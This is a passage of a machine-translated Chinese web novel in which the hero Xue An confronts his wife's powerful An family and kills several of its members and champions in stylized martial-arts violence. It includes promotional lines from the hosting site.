    After the old housekeeper left, An Chang said coldly: "You are fine, but unfortunately, in a place like Zhongdu, people like you won''t live long at all!"


    Xue An smiled faintly, "Oh? Then I...wait and see!"


    An Chang is gone.


    An Xue also left the racecourse with an ugly expression.


    Someone came up and said, "Miss, please come with me!"


    Talking to lead An Yan and others to a remote courtyard.


    Although remote, the environment here is still elegant and tidy.


    "The old lady said, you can live here, if you have any needs, just call me!"


    After speaking, the man bowed back.


    From the quality of the subordinates, we can see the gap between the Qin family and the top giants like An Jia.


    After the family was left in the house, An Yan lowered his head sadly.


    "Husband... I''m sorry."


    Xue An smiled, "Why do you want to say sorry to me?"


    "because����."


    Xue An waved his hand and said calmly: "You are not wrong from the beginning to the end of this matter. The fault is some arrogant and self-righteous big people!"


    An Yan was stunned.


    Xue An walked to the door, looked at the family mansion hidden behind the walls, and said lightly: "Some people never feel that they are wrong. Only blood and death can let them know their fear!"


    And at this moment.


    In a Buddhist hall in Anjia.


    An Yan''s grandma, the old lady An is closing her eyes and twisting her rosary.


    The old housekeeper walked gently into the Buddhist hall.


    "Old lady, San Ye is waiting outside!"


    The old lady Ann nodded, "Let him in!"


    An Chang walked into the room and said with a solemn expression: "Mother, why do you want An Yan and others to stay?"


    The old lady Ann put down her rosary, "How many days are left until my birthday banquet?"


    "Back to mother, there are still seven days!"


    A high smile appeared on the well-maintained face of the old lady Ann.


    "The girl An Yan eloped out of Beijing for a man and had already lost our face in Anjia. Later, after returning, the Chi family insisted on marrying her, but she ran away again."


    "The reputation of my family was damaged twice. Do you think she simply rushed after she came back?"


    "That mother meant..."


    "Notify Chi''s family! Just say An Yan is back!" The old lady An said coldly.


    "Yes!"


    "Also, on the birthday banquet, there are a few more martial arts masters. Since that Xue An can win the second child, it can be seen that he is a bit capable! Unfortunately, he does not understand. In Zhongdu, if I want to kill him in my hometown, it will It''s hard to crush a bug!"


    "understand!"


    An Chang bowed and exited the room.


    "San Ye, what does the old lady mean?" An Chang''s housekeeper asked.


    A fierce look flashed across An Chang''s face.


    "On the birthday banquet, call several masters enshrined in the clan!"


    The housekeeper shuddered, then bowed his head and replied, "Yes!"


    Chijia.


    Chi Changge hung up the phone, his expression gloomy and terrible.


    At this moment, Chi Weiyang came back from outside.


    The young girl was full of youthfulness. When she saw her brother''s face so ugly, she couldn''t help but wonder: "Brother, what''s the matter with you?"


    Chi Changge said coldly: "An Yan is back!"


    "An Yan?" Chi Weiyang shook suddenly, "Is that An Yan from Anjia?"


    Chi Changge nodded.


    Chi Weiyang''s face was also a little angry, "This woman is simply too ignorant to promote. At the beginning, my brother didn''t think she was married and wanted to marry her, but she ran away! This time..."


    "She returned with her baby!" Chi Changge said.


    Chi Weiyang froze, and sighed after a meeting: "Brother Then forget it, as long as you are willing, a woman who is willing to marry you can go from Zhongdudi to the Baofu. Go, why bother with her?"


    Chi Changge didn''t say a word.


    Chi Weiyang sighed again when he saw this, and then left.


    Two groups of flames seemed to be burning in Chi Changge''s eyes.


    He recalled the first time he saw An Yan.


    When he was in college, he went to work at the university where An Yan was located, and happened to meet An Yan with Xue An.


    Chi Changge was deeply impressed by Anyan at that time, and has never forgotten it ever since.


    The family members agreed very much when they knew it.


    After all, Chi''s and An''s are both top giants in the Chinese capital, and this can be regarded as a good match.


    Unexpectedly, Anyan would have such a strong temper and elope directly out of Beijing.


    This hit Chi Changge a great deal, and even made him quickly transform into a scumbag.


    And this time.


    An Yan is back.


    Chi Changge''s eyes flickered.


    What I can''t get, then no one else can expect to get it!


    Even if... is destroyed, I will not hesitate!


    Thinking about it, Chi Changge''s face was full of cruel expressions.


    In a military camp with a very high level of secrecy in Zhongdu.


    An Qing put the streamer sword on the table, then stood aside respectfully, looking at the man''s stalwart back.


    After not knowing how long, the man''s voice came.


    "You said, it was Xue An that broke the fairy tale this time?"


    An Qing nodded, "Yes!"


    The man turned around.


    He wore a military uniform, his figure was as tall as a knife, and his face was full of righteousness and masculine beauty.


    If someone is here, they will scream and lose their voice.


    Because this man is known to hold up half the sky in the Chinese military.


    General Lin! Be sure to read the latest chapter of "Invincible, Starting from the Claw Bookstore" for the first time for free.

 Chapter 173： Which one do you choose now?

    General Lin walked to the table, took the streamer in his hand, and gently drew his sword out of its sheath.


    Sword Qi pierced both eyebrows.


    General Lin sighed slightly, and the sword returned its sheath, "Sure enough, it is a treasure from the fairy family. Listen to you, this Xue An is your brother-in-law?"


    An Qing nodded and said: "Yes!"


    General Lin smiled indifferently, "In this way, I became more curious. My injury became more serious at the beginning. It was the little girl of the Chen family, Chen Rushi, who gave me an elixir. After taking it, I barely suppressed the injury."


    "And that little girl also mentioned the name Xue An!"


    An Qing didn''t know what to say, so she bowed her head and said nothing.


    "These treasures are actually given away at random. Regardless of their ability, this courage alone is rare in the world. It seems that I owe you twice!" General Lin said with a wry smile on his face.


    settle down.


    An arrogant Hummer stopped in front of the door.


    An Meng hurriedly greeted him.


    The car door opened and two men came down.


    One of the young men, wearing an extremely avant-garde and heavy metal style clothes, also had a poisonous scorpion tattooed on his face, his eyes were fierce and terrifying.


    "Brother! You are finally back!" An Meng shouted.


    The man nodded slightly, and said in a hoarse voice: "That **** Anyan is back? Still bringing her wretched man?"


    An Meng nodded.


    This man is her own brother, An Zhong, the well-known demon king of the An family.


    "Hehe, dare you come back? This time, I let him know that Anjia is great!"


    Having said that, An Zhong walked in.


    An Meng followed, "Brother, this Xue An seems to be pretty good!"


    "Awesome... Haha!" An Zhong pointed at the young man following him.


    "Do you know what he does?"


    "do not know!"


    "He is the underground boxing champion I bought from Southeast Asia with a lot of money, and his shots are extremely fierce. The average martial arts master is not his enemy at all." An Zhong said proudly.


    An Meng was relieved.


    An Zhong took the lead and came to the courtyard where Xue An lived, kicking the door open with one kick.


    At this moment, An Yan was watering the flowers in the courtyard, looking up just to see An Zhong, she couldn''t help being stunned.


    "who are you?"


    An Zhong grinned, "Sister An Yan, don''t you even recognize me?"


    "Are you... An Zhong?"


    "Hehe, that''s right! It''s me, tell Xue An to come out!" An Zhong said solemnly.


    An Yan still didn''t understand what was going on.


    Xue Xiang and Xue Nian ran out with a water gun.


    The two of them were fighting a water fight, but when they saw An Zhong in the courtyard, they couldn''t help but get together.


    "This uncle looks ugly!" Xue Nian said.


    "It''s not ugly to wear, it''s ugly!" Xue Xiang defined it.


    An Zhong heard these words naturally.


    His face became more and more ugly, "These two little girls, you gave birth to that wretched man?"


    Xue Nian asked secretly, "Sister, is he scolding Dad?"


    Xue Xiang''s face was stern, and he said very solemnly: "Yes, I was scolding Dad! Hit him!"


    Saying that Xue wanted to raise the water gun, he hit An Zhong.


    Naturally, Xue Nian also learned something.


    The two water guns will be covered with water, and he can''t help roaring.


    "enough!"


    But the two little girls weren''t afraid of him, still driving the water guns perseveringly.


    An Zhong stepped forward, snatched the water guns of the two little girls, and then crushed them.


    "I said enough!" An Zhong roared.


    At this moment, a cold voice came from behind him, "Or I will recover, or I will let you eat all these two water guns!"


    An Zhong suddenly turned around and saw Xue An standing at the gate of the courtyard, looking at him indifferently.


    An Zhong laughed.


    "I saw you. Four years ago, you came to our home like a dog that nobody wanted. Four years later, wouldn''t you still achieve nothing?"


    Xue An ignored him, but looked down at the two aggrieved baby girls, and then said lightly: "Did you not hear what I said?"


    An Zhong grinned, "It is impossible to recover, but I will wait for you to die and burn it to you and kill him!"


    The Southeast Asian teenager who had been silently following An Zhong rushed over like an ape.


    This kind of person was cultivated as a killing machine since childhood, and every trick he learned was nothing fancy, all killing skills.


    Therefore, if ordinary martial arts masters meet him, if they don''t pay attention, they will really be cheated.


    But Xue An didn''t even move.


    When the boy hit the knee of a Muay Thai boxer, he suddenly popped his finger!


    Click!


    The young master''s knee was broken.


    The young man''s face changed slightly, but instead of retreating, he jumped forward again.


    This kind of undaunted and deadly aura, even if the realm is higher than him, will also be horrified by it.


    A smug look appeared on An Zhong''s face.


    In his opinion, Xue An is dead.


    But Xue An gently pointed at his two daughters.


    Xue Xiang and Xue Nian were obscured by the secret technique.


    "Here again! Guess how long will Dad be able to defeat the bad guys this time?" Xue Xiang asked.


    "Um...I can''t guess!" Xue Nian shook his head.


    "It''s stupid! I guess the time to eat an ice cream!" Xue Xiang said.


    "Oh?" Xue Nian''s eyes lit up when he mentioned ice cream.


    "Is it right to let me eat ice cream?" Xue Nian asked hopefully.


    Now Xue wants to decide how many snacks she eats every day!


    "Yes!" Xue Xiang said with a smile. UU reading


    "Then time for two ice creams!"


    At this time, the teenager was about to rush towards Xue An.


    The five fingers like steel claws were only a few steps away from Xue An''s neck.


    But Xue An only raised his hand.


    Snapped!


    After a slap in the face.


    The boy''s head turned 360 degrees.


    From his back to An Zhong, he was directly facing, and at the same time, a dazed look flashed across the face of the young master.


    Then he fell to the ground and died!


    This is a straightforward blow.


    Ling An Zhong froze.


    He never expected that Xue An really dared to kill someone!


    "You...you''re done, you dare to kill people on the chassis of our home!" An Zhong shivered as he looked at Xue An who was walking slowly.


    Xue An shook his head, "I said, first, you will restore the water gun to me intact! Second, you will eat it for me! Which one do you choose now?"


    A look of astonishment flashed across An Zhong''s face.


    At this time, An Meng said shyly: "Xue...Xue An, almost forget it, this is my brother..."


    The voice behind him became smaller and smaller, because Xue An''s eyes were simply terrifying.


    An Zhong turned and ran.


    "I don''t choose any, what can you do with me?"


    But just a few steps after he ran out, he found himself flying into the air.


    Turning his head, he realized that Xue An had grabbed the back of his neck and picked it up.


    "Xue An...what do you want to do?"


    Xue An shook his head, "The last chance, give me recovery first, and swallow me second!"


    "Now tell me, which one do you...choose?" Xue An said in a harsh tone, showing two tiger teeth. Be sure to read the latest chapter of "Invincible, Starting from the Claw Bookstore" for the first time for free.

 Chapter 174： Strange request!

    An Zhong felt the goose bumps all over his body, and said in horror: "Xue An, I tell you, this is Zhongdu, but we settle down, if you are so arrogant, be careful..."


    Xue An nodded, "So, you have to choose the second one!"


    After all, Xue An threw it to the ground.


    boom!


    The dust is everywhere.


    An Zhong was thrown and almost vomited blood.


    Before he could wait, Xue An stepped on his head, and then pinched the water gun fragments on the ground.


    "I hope you like this taste!"


    Speaking of Xue An, he squeezed a heavy chin.


    Click.


    An Zhong''s jaw was pinched and dislocated.


    Then Xue An stuffed all the plastic fragments of these water guns into An Zhong''s mouth.


    Then he slammed An Zhong''s mouth.


    The blood and pain caused An Zhong to swallow the plastic whole involuntarily.


    Until then, Xue An stood up, looked at An Zhong with reticence, took out a handkerchief and slowly wiped his hands.


    Watching this scene, An Meng seemed to have fallen into the ice cellar, shivering.


    An Zhong finally stopped the discomfort in his stomach, raised his head and looked at Xue An with extremely bitter eyes.


    "Xue An, you have the ability to kill me now! Otherwise, I will never let you go for the rest of my life, nor will I let go of those two little girls..."


    Just now, Xue An, who was wiping his hands, raised his eyebrows, and a ray of light flashed.


    puff!


    An Zhong''s hand was cut off.


    Blood flows out.


    An Zhong screamed in pain.


    "Ahhhhh! Xue An, I''m never finished with you! If you have the ability, kill me! Otherwise, I will never finish with you all my life!"


    Xue An smiled slightly, "It''s really a strange request, but since you have said so, then I will fulfill you!"


    As he said, Xue An flicked his finger.


    puff!


    An Zhong''s head rose to the sky.


    The blood spilled all over the place.


    thump!


    An Zhong''s head fell on the ground, a trace of consternation and disbelief still remained on his face.


    He couldn''t think of it anyway, Xue An really dared to kill himself.


    An Meng was also shocked and scared.


    "You...you actually killed him?" An Meng said in horror.


    "Is it weird? If you are envious, then I will send you on the road too!" Xue An said lightly.


    An Meng trembled all over, she didn''t dare to say any more, but her eyes were drooping with panic of imminent disaster.


    But Xue An seemed to have killed a chicken, and said casually: "If you don''t want the corpse, I can clean it up for you, no money!"


    An Meng started to cry, "No... I''ll find someone to take away!"


    She said that she fled in a hurry.


    Xue An turned his head to look at An Yan, and smiled slightly, "Don''t be afraid! The big deal... Let the whole An family be buried for him!"


    When An Meng finds someone to carry the body away, Xue An removes the secret technique that covered her daughter.


    At this time the two little girls had a dispute.


    "Sister, it''s obviously time for two ice creams! Why do you insist on one ice cream?"


    "Huh, that''s not it, do you think everyone is like you, eating ice cream so fast? It''s just time for ice cream!" Xue Xiang said with his waist crossed and said very seriously.


    Xue Nian almost cried when he was wronged.


    After Xue An understood what was going on, he couldn''t help but laugh and cry.


    "Okay, eat as many as you like!"


    An Yan said uneasyly, "How can it be done, children will break their teeth if they eat too much sweets!"


    Xue An laughed, "Yes! Then eat less!"


    In fact, Xue Xiang and Xue Nian are brushing their teeth with sugar all day long, and nothing will happen.


    After all, Xue An used the power of the origin to wash his marrow.


    Unexpectedly, after waiting until the evening, no one came to retaliate.


    Xue An smiled.


    It doesn''t matter to him whether he comes or not.


    If it comes, it is nothing more than destroying this arrogant family in advance.


    At this time, in the yard where Anxue lived.


    An Xue looked at his son''s corpse frontally.


    An Chang stood aside blankly.


    "Xue An, I want to smash your body!" An Xue roared and rushed out!


    An Chang stopped him.


    "Lao San, what do you want to do?" An Xue said coldly.


    "Have you forgotten what your mother said? You still don''t understand if you have to do it at the birthday banquet?"


    "I can''t wait, this Xue An killed my son, how can I not take revenge?"


    "But you must listen to what your mother said, and if you kill him now, what''s wrong with Anyan at the birthday banquet? What are you going to tell the Chi family?"


    An Xue''s expression gradually calmed down.


    An Chang said indifferently: "Moreover...this An Chung day fool is not a good talent who can inherit the family business. If you die, you will die. It''s a big deal to have another one! Why be angry?"


    An Xue nodded helplessly.


    Although he is the second elder brother, he still has to listen to An Chang for family matters.


    But the news spread with a rocket speed.


    Unexpectedly, many people clapped their hands in secret.


    This shows how unpopular An Zhong is usually.


    now.


    In the box of a high-end bar in Zhongdu.


    An Ying is drinking with some good friends.


    The phone vibrated, An Ying picked it up and took a look, then was stunned, and then smiled more brilliantly.


    "Sao An, what''s the matter?"


    "Hehe, An Zhong that stupid* is dead!"


    "Dead? How did you die?"


    "It was killed by my brother-in-law!" An Ying smiled happily.


    Everyone was a little startled.


    "Your brother-in-law?"


    "Yes, my sister, An Yan!" An Ying smiled lightly.


    "That''s the Anyan who eloped with others?" Someone blurted out.


    An Ying''s smile became colder, "What did you say?"


    This person knew that he had made a mistake and quickly apologized, "An Shao, I''m sorry! I was wrong! My mouth!"


    Saying that he slapped himself.


    An Ying was noncommittal, instead leaning on the chair, looking at the ceiling, her eyes flickering.


    Four years ago, he met Xue An several times.


    At that time, Xue An was a poor student and was very disappointed.


    But the arrogance between the eyebrows made An Ying quite admired.


    In contrast, An Ying is the one who has the best impression of Xue An besides An Qing.


    Now he suddenly returned with An Yan, it is ridiculous that his father An Chang and his second uncle An Xue, they actually think that Xue An is here to cling to the relationship.


    Only An Ying knows.


    That man!


    Never succumb to anyone!


    Chi Weiyang and some of his best friends are enjoying afternoon tea comfortably.


    While talking, they talked about the birthday of the old lady in Anjia a few days later.


    Chi Weiyang smiled, "I heard that this Anjia birthday is very grand, and all the people who nodded have been invited!"


    "Yes, Master Wei, have you received the invitation?" someone asked curiously.


    A woman with an elegant temperament smiled, "I have received it, but I won''t go!"


    "Let me just say, why would Master Wei go to such a place?"


    Wei Ruyan smiled slightly and lowered his head to drink tea.


    At this time, Chi Weiyang sighed, "Sigh, the woman my brother has a crush on has returned to Zhongdu!"


    "Who? An Yan?" These women were all interested.


    Chi Weiyang nodded, "Is there anyone besides her, and this time An Yan still brought her man back. I heard what it is called... Xue An!"


    Wei Ruyan, who was drinking tea, was taken aback for a moment, "Who do you mean?" Hundred plated the latest chapter of "Invincible, Starting from Claw Bookstore" for the first time for free.

 Chapter 175： Hold the scene

    "Xue An!" Chi Weiyang said, blinking his big eyes.


    Wei Ruyan took a deep breath to calm the shock in her heart.


    "Master Wei knows him?" Chi Weiyang asked again.


    Wei Ruyan shook her head, "I don''t recognize it! Sorry, I still have something to do, go back first!"


    Said Wei Ruyan got up and left.


    Chi Weiyang and the other wealthy daughters looked at each other.


    I don''t know what happened to Wei Ruyan.


    After getting out of the hotel and getting into the car, Wei Ruyan took out his mobile phone and dialed a call.


    "Hey! Master Wei, why do you think of calling me?" A lazy and soft voice came from the other end of the phone.


    Wei Ruyan said solemnly: "Xue An is here!"


    "Come on... who are you talking about?" The voice on the other end of the phone shook suddenly.


    "Xue An! It''s the Xue An who went with you to collect medicine in the mountains and slashed the dragon, and also the Xue An who made everything bloom in spring!"


    "Where is he?" the voice on the other end of the phone asked urgently.


    "At Anjia! He is actually Anyan''s husband!"


    After a long silence, the other end of the phone said, "Got it!"


    After all, the phone hangs up.


    Wei Ruyan raised her head and looked ahead, thinking silently in her heart.


    Xue An is here, this Kyoto is about to be uneasy!


    at the same time.


    The Chen family in the capital.


    Chen Rushi sat on the bed, with mixed feelings in his heart, not knowing what it was like.


    Xue An is here.


    The figure that cut the dragon by hand on Qingmang Mountain at the beginning still often appears in Chen Rushi''s dreams.


    Unexpectedly, he would actually be the husband of An Yan, the daughter of an family.


    Chen Rushi sighed, got up and left the bedroom.


    "Rushi, what are you going to do?" asked Chen Dong, Chen Rushi''s father, the current head of the Chen family.


    "I''ll go see Grandpa!"


    Speaking of Chen Rushi came to the inner room.


    Chen Rushi''s grandfather, the true ruler of the Chen family, Chen Xiuhe was leaning on the bedside to read.


    After seeing Rushi, Chen Xiuhe put down the book and smiled kindly.


    "Little girl, who provokes you? Why are you upset?"


    Chen Xiuhe has always been extremely fond of his granddaughter, and Chen Rushi was a little unhappy, he could tell.


    Chen Rushi sat on the edge of the bed, tears suddenly falling.


    Chen Xiuhe was startled, and then the two pale eyebrows raised. Although they are old, this raised eyebrow is still murderous!


    "Who is it? I will send someone to destroy him now!"


    Chen Rushi shook his head, "Grandpa, no one bullied me, I just feel sad, just cry!"


    Chen Xiuhe nodded, "Okay! Granddaughter is willing to cry, then cry! A girl, no one is laughing at her crying nose!"


    Chen Rushi gave a hum, but burst into laughter.


    After a while, she whispered: "Grandpa, if you like someone, would you be sad?"


    Chen Xiuhe was taken aback for a moment, and then he smiled and said, "What? My granddaughter finally got the hang of it? The boys who chased you are about to form a group. Who do you like?"


    "Oh, grandpa! I just ask!" Chen Rushi felt a fever on his face.


    Chen Xiuhe sighed slightly, "Yes! To like someone is indeed a mixed blessing!"


    "What if the other party has a family?" Chen Rushi asked.


    A bit of murderous aura flashed in Chen Xiuhe''s eyes, and he said with a smile, "Silly girl, why are you asking that? Could it be..."


    "No! I really just asked!"


    Chen Rushi said a few more words, then got up and left.


    When she had just left, Chen Xiuhe got up and got out of bed.


    Chen Dong walked in, "Father!"


    Then he didn''t dare to say anything, because Chen Xiuhe''s expression was gloomy and terrifying.


    "Check all the men around Rushi, if anyone from the family contacts her, kill them all!" Chen Xiuhe gritted his teeth.


    "Yes!" Chen Dong hurried down.


    Chen Xiuhe was full of murderous expressions, pacing back and forth in the room, and someone dared to beat his granddaughter. The key was to have a family.


    This made Chen Xiu and such a person who came from the army, they were almost furious.


    However, his doubts did not last long and were solved by a phone call.


    The call was made by General Lin.


    General Lin and Chen Xiuhe were once comrades-in-arms in the trenches, and their friendship is naturally the deepest.


    Otherwise, Chen Rushi would not give the rare panacea to General Lin.


    "Lin, what''s the matter?" Chen Xiuhe said in a bad tone.


    "Yeah, have you taken gunpowder? So angry?"


    "Humph! Someone actually made a poetic idea!" Chen Xiuhe said coldly.


    General Lin chuckled, "The poem is not too small, isn''t it normal to fall in love?"


    "But the other party has a family!" Chen Xiuhe said murderously.


    General Lin was also taken aback for a moment, then he pondered for a moment and said, "I want to tell you something!"


    "Oh? What''s the matter?"


    "The Xue An who slashed the dragon dragon has come to Zhongdu!"


    "What? Where?" Chen Xiuhe was also surprised.


    After Chen Rushi came back, he didn''t conceal it, and told Chen Xiuhe and General Lin about the matter.


    The two of them were extremely impressed by Xue An.


    Unexpectedly, he actually came to Zhongdu!


    "At home!"


    "settle down?"


    "Yes, four years ago, An Yan, an eloped woman from Anjia, followed him!"


    Speaking of this, the two people who were about to become perfect suddenly froze at the same time, and then said in unison: "No!"


    Then he sighed together.


    "Old head Chen, now you have a headache! Since ancient times, beautiful women love heroes, I heard that Xue An looks handsome ~ www.novelhall.com~ is so capable, it''s not surprising that she is so charming!"


    Chen Xiuhe looked extremely ugly, "Are you embarrassed to say? If something happens like a poem, I will never finish with you!"


    General Lin chuckled, and then said solemnly: "Old head Chen, it will be the birthday of the old lady in Anjia in a few days, are you going?"


    "I won''t go, I feel sick when I see that old witch''s face!"


    "But I think we''d better go!" General Lin said solemnly.


    Chen Xiuhe just came up with a mockery, and immediately understood what it meant.


    "You mean... to support Xue An?"


    General Lin smiled bitterly, "Speaking of which, our lives were saved because of others. It''s nothing to support the scene!"


    "Yeah! That''s OK. I''ll go too when the time comes. I want to see what this person is like who can fascinate my granddaughter!"


    Settled home.


    An Xue walked in with a solemn expression.


    Several old men are sitting there playing chess.


    "I have seen a few consecrations!" An Xue arched his hands.


    Several people looked up at An Xue, and someone smiled and said, "So it''s the second master, what? Is something wrong?"


    "Dare to ask a few people, have you all told you about the birthday?"


    "you mean����."


    An Xue gritted his teeth, "It''s the murder!"


    "San Ye said!" An old man nodded and said.


    An Xue nodded, "I''m here just to tell a few people, please use all your strength when the time comes, and don''t leave him a whole body!"


    Several old men looked at each other, and then he laughed, "The second master of no effort, a mere mortal, can do nothing more than a three-legged cat, killing him is too easy!" Bai Ping said, "Invincible, from Xianzun Dad" Read the latest chapter of "Starting Claw Bookstore" for free for the first time.

 Chapter 176： An Family Birthday Banquet

    It''s the birthday banquet.


    The settlers got up early and started to clean up.


    The roads were washed three times with clean water, and there was no dust.


    The door that has been closed is also opened today.


    It''s not nine o''clock in the morning.


    People who wished birthdays arrived one after another.


    However, those who come now are generally from the small families in Zhongdu.


    These people gathered in small groups to talk about today''s birthday banquet.


    "Hey, have you heard? An Yan, the abandoned daughter of the An family, has returned to middle school!"


    "I heard it a long time ago, and I heard that I came back with a man and a child!"


    "Tsk tusk, doesn''t this show the face of Shan Chi family? No one in the whole knows that Chi Changge had a deep affection for An Yan?"


    "More than that, I heard that An Yan was forcibly captured later, and Chi Changge was still obsessed with it. As a result, An Yan couldn''t follow it and ran away!"


    "Hey, today''s birthday banquet, I guess it will be very lively!"


    People were discussing that a Mercedes-Benz G drove over, and then Chi Changge and Chi Weiyang got out of the car.


    As soon as I saw them coming.


    The people who were discussing quickly stopped talking.


    joke.


    The Chi family is said to be in Zhongdu, but the top giants are as famous as the An family.


    Who dares not respect.


    "Late young!"


    "Miss Chi!"


    There was an endless stream of greetings, and Chi Chang''s song was so full that he ignored them all.


    Chi Weiyang smiled and nodded.


    Then the two went into the house.


    With their arrival, the number of people celebrating birthdays suddenly increased, and without exception, those who came were from various wealthy families.


    The front door was full of luxury cars of all colors, well-dressed people with reserved smiles, gathered in their own circles and talked quietly.


    And in the reception room in the inner room.


    Chi Changge sat on the chair, and An Chang sat on the other side to accompany him.


    "Where is she?" This was the first sentence of Chi Changge.


    An Chang smiled slightly, "Don''t worry if you are too young, she will appear soon after the birthday banquet begins!"


    Chi Weiyang asked at this time: "Uncle San, I heard she came back with a man and a child?"


    "Yes!"


    Chi Weiyang sighed.


    This is like a dead end, almost unsolvable.


    At noon.


    The birthday feast opens.


    The delicacies of mountains and seas are served like flowing water.


    But people don''t care about the food and drink, they just moved slightly after they came up, and they waited for something.


    at last.


    Old lady An Jin Xiurong walked out slowly.


    When everyone saw her, they stood up.


    "The old lady is healthy!"


    "May the old lady be as blessed as the East China Sea and live longer than Nanshan!"


    Jin Xiurong nodded with a smile, waved his hand, and motioned everyone to sit down.


    Then sit on top of the subject.


    At this time, An''s children began to come forward to celebrate their birthdays.


    The first to appear is naturally An Xue and An Chang.


    "I wish my mother good luck and Antai!"


    After the two said, they retreated to the left and right.


    Next came An Ying Anmeng and other juniors.


    These people are after the birthday.


    Everyone''s heart moved.


    Next... there will be a good show!


    really.


    Outside the hall of this birthday banquet, footsteps came.


    When the bead curtain was picked, the first person to walk in was Anyan, who had left Zhongdu for four years.


    As soon as she appeared, there was a slight commotion underneath.


    Chi Changge looked at An Yan''s profile obsessively.


    Followed by two cute little girls.


    Chi Changge''s complexion changed a lot when he saw these two little girls.


    Jin Xiurong, who was sitting on the main seat, also let out an imperceptible snort.


    The last person who walked in was a tall man with a slight smile on his face.


    Although the clothes are ordinary, he can move with his hands, but he has extraordinary momentum.


    Chi Changge suddenly stood up and stared at the man, his eyes full of murderousness.


    Xue An noticed Chi Changge''s gaze, but he just smiled faintly and walked to An Yan''s side.


    An Yan looked a little trembling under many eyes at this moment.


    Xue An patted her shoulder gently.


    An Yan gradually calmed down.


    However, the two people''s intimacy behavior caused a low uproar in the audience.


    At this time, An Yan walked to Jin Xiurong and said, "Yan''er, I wish grandma the sun and the moon, Songhe Changchun!"


    But as soon as the voice fell, Jin Xiurong slapped the table, and said as cold as ice: "Don''t kneel down for me!"


    This sound seemed like a shock.


    Let the audience be silent.


    The corners of An Meng''s mouth rose up, showing a smug smile.


    No matter how good you are, what can you do? Facing grandma, don''t you still have to kneel and be punished?


    An Yan looked a little worried, and then bent down to kneel down!


    But at this moment, an arm stopped her.


    An Yan looked up, Xue An smiled at her slightly, "My wife, I said, from now on, you don''t have to kneel anyone!"


    The word landed, as if a grenade was dropped in the field.


    Everyone looked in shock.


    Some sneered in their hearts, thinking that Xue An was purely looking for death.


    Jin Xiurong''s face was sinking, "You... are you who abducted my granddaughter and caused her to fall into the unrighteous Xue An?"


    Xue An laughed.


    The smile was full of coldness.


    "Abduct your granddaughter? Haha, I fell in love with Anyan University and came to your home, why don''t you say?"


    "Bold!" An old housekeeper standing next to Jin Xiurong stepped forward and reprimanded Jin Xiurong''s face was sarcasm, "Four years ago, you had nothing, and wanted to marry my daughter of the family in one step. Of course I don''t Will agree! Four years later, when you visit again with two children, do you think... will this make me succumb?"


    Xue An shook his head, "You made a mistake, I never thought of making you surrender! Because you...not worthy!"


    This word came out.


    The audience was silent.


    Many people looked at Xue An with dead eyes.


    In Zhongdu.


    Offending Anjia is the same as seeking death, no difference.


    Jin Xiurong''s complexion changed slightly, and she said coldly: "Okay! What a proud man, unfortunately, no matter how hard the bones are, they will break!"


    As her voice fell to the ground, several elderly people stood up in the corner of the hall.


    The leader walked up to Jin Xiurong, bowed his head respectfully and said: "Old lady!"


    "Kill him!" Jin Rongrong picked up the tea cup and ordered softly, as if to say something trivial.


    "Yes!"


    The old man turned around and smiled at Xue An, "Boy, don''t blame me for being cruel, who will let you find your own death?"


    After saying this, the old man''s beard and eyebrows stood up, and a terrifying aura suddenly radiated from him.


    Everyone in the audience was shocked.


    Several people who cultivated martial arts changed their faces.


    "This is... the golden tiger and leopard who smashed the martial arts world and ranked tenth in the jade list! He actually made offerings in Anjia?"


    At this time, the golden tiger and leopard laughed grinningly, "If you can die under my hands, you can also be proud!"


    Xue An shook his head and said softly: "Too weak!"


    "What?" Jin Hubao didn''t hear clearly.


    "I mean...too weak!" After that, Xue An already rushed to this person, raising his hand with a punch. Be sure to read the latest chapter of "Invincible, Starting from the Claw Bookstore" for the first time for free.

 Chapter 177： break

    The Golden Tiger Leopard didn''t care.


    Because in his opinion, Xue An''s momentum is plain, nothing more than an ordinary person who knows how to fist!


    Unexpectedly, Xue An''s momentum suddenly increased when he punched out.


    The golden tiger leopard''s complexion changed drastically, but still roared, "Look at my blow!"


    After all, it was a punch.


    Two punches.


    boom!


    A muffled sound.


    People who are close feel their ears buzzing.


    The golden tiger and leopard froze in place, and it took a while before he breathed out.


    "Good boxing!"


    After that, he turned into pieces of fly ash from his fist, and finally disappeared like a broken piece of porcelain.


    Everyone was stunned.


    Who would have thought that Xue An would blast this golden tiger and leopard directly into nothingness with a punch.


    The few offerings where the old **** was originally all stood up suddenly, looking at Xue An with shocked faces.


    Jin Xiurong also frowned slightly.


    Only Chi Changge, looking at Xue An with a pale expression, creaked his fists.


    Xue An retracted his fist, looked around the audience, and said lightly: "An Yan is my woman. From today onwards, she has left the settlement and is no longer under the control of this so-called wealthy family. Who do I say for it? Who opposes?"


    No one dared to speak.


    Actually want to leave the settlement?


    This is something that has never happened before.


    At this time, An Xue really couldn''t hold back, and the first one jumped out and said: "Leave Anjia? Haha, she is bleeding from Anjia, do you leave when you leave?"


    Xue Ansen smiled, "In that case, you are opposed to it!"


    "Of course I don''t agree!"


    "Okay, then you go to die!"


    An Xue hadn''t reacted yet, but the face of the old man nearest to him changed drastically, and he moved to An Xue''s body, and at the same time roared.


    "Royal!"


    A faint halo appeared in front of him, covering An Xue behind him.


    And Xue An commanded it at the moment.


    Snapped!


    This halo only resisted for less than half a second before it shattered.


    Then he shot the old man directly out until he hit the wall before he could stop.


    The old man opened his mouth and vomited a mouthful of blood.


    Xue An looked at the bleak old man and smiled slightly, "You''re good, you can pick me up!"


    The old man laughed sadly.


    He just used a magic rune from Wudang Mountain!


    I thought I could resist Xue An''s blow, but I didn''t expect it to be crushed after only holding on for a second.


    "Is that the breath of Zhenwu?" Xue An said softly, and then smiled, "For your boss''s sake, I won''t kill you!"


    At this time, An Xue understood what had just happened. If it hadn''t been for this Wudang Mountain Taoist Zhang to rescue, he would have been in a different place.


    An Xue trembled all over, "You...you dare to kill...me?"


    Xue An smiled faintly, "Why don''t you dare? Your lives, as far as I''m concerned, are nothing but grass!"


    This remark caused public outrage.


    Many people looked at Xue An with bad eyes.


    After all, they all belong to the same class.


    And Xue An killed people like this, which naturally made these people full of crisis.


    At this time, the old lady An Jin Xiurong''s complexion changed slightly, but instead of talking to Xue An, she looked at An Yan.


    "An Yan, you grew up by my side since you were a child. Do you really want to break with An Jia for such a man?"


    An Yan has not spoken, but at this moment, her expression has gradually calmed down, her eyes have gradually become firm, and there is no more panic.


    She walked slowly to Xue An, and shook her head firmly at Jin Xiurong, "Grandma, this may be the last time I call you grandma. That''s right, I grew up here since I was a child, and you have nurtured me. Yep!"


